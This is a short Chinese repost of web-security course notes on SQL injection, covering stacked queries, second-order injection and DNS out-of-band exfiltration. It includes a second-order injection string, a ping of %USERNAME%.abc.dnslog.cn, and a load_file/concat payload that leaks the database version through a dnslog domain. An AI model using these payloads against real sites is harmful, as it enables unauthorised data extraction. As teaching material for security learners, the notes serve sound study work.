本文主要是介绍[BT]小迪安全2023学习笔记(第30天:Web攻防-SQL带外注入),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
第30天
堆叠注入
支持数据库:MySQL、MsSQL、PostgreSQL
数据库后台能够执行堆叠操作,但不一定在注入点就能够实现堆叠操作,因为这和网站处理方式有关
二次注入
注入过程:比如在用户注册或者修改用户信息时可以在某一个存在注入的地方插入注入语句,此时就算提交数据了也看不到关键信息的回显,因为注入语句只是被保存在了服务器的数据库中,当我们再次查询时服务器会认为数据是安全的便直接查询数据造成我们插入的Payload执行,主要问题在于网站没有对我们输入的数据进行分析,另一方面过于相信数据库本身存储的数据而在查询时使用了简单的SQL语句导致存在注入漏洞
例如:
在填写学校名称:xiaodi',address=version()#
当我们查询个人资料时就会看到学校名称一栏依旧是:xiaodi',address=version()#
而邮箱地址一栏则是数据库的版本信息,这说明服务器在查询时执行了我们的Payload并且会覆盖前面服务器本身查询的address值,前提是能够知道对应的字段名
DNS外带
可以在 DNSlog.cn 这个平台申请一个域名类似 abc.dnslog.cn
然后在目标服务器上访问或者ping %USERNAME%.abc.dnslog.cn
,也就是会把 %USERNAME%
的值放在域名前缀,这就会在网络上留下记录,DNS网站刷新之后就能看到对应的域名访问记录了,前缀就是我们想要获取的值
SQL Payload:
需要具备高权限
select load_file(concat('//',(select version()),'.abc.dnslog.cn/abc'))
这篇关于[BT]小迪安全2023学习笔记(第30天:Web攻防-SQL带外注入)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!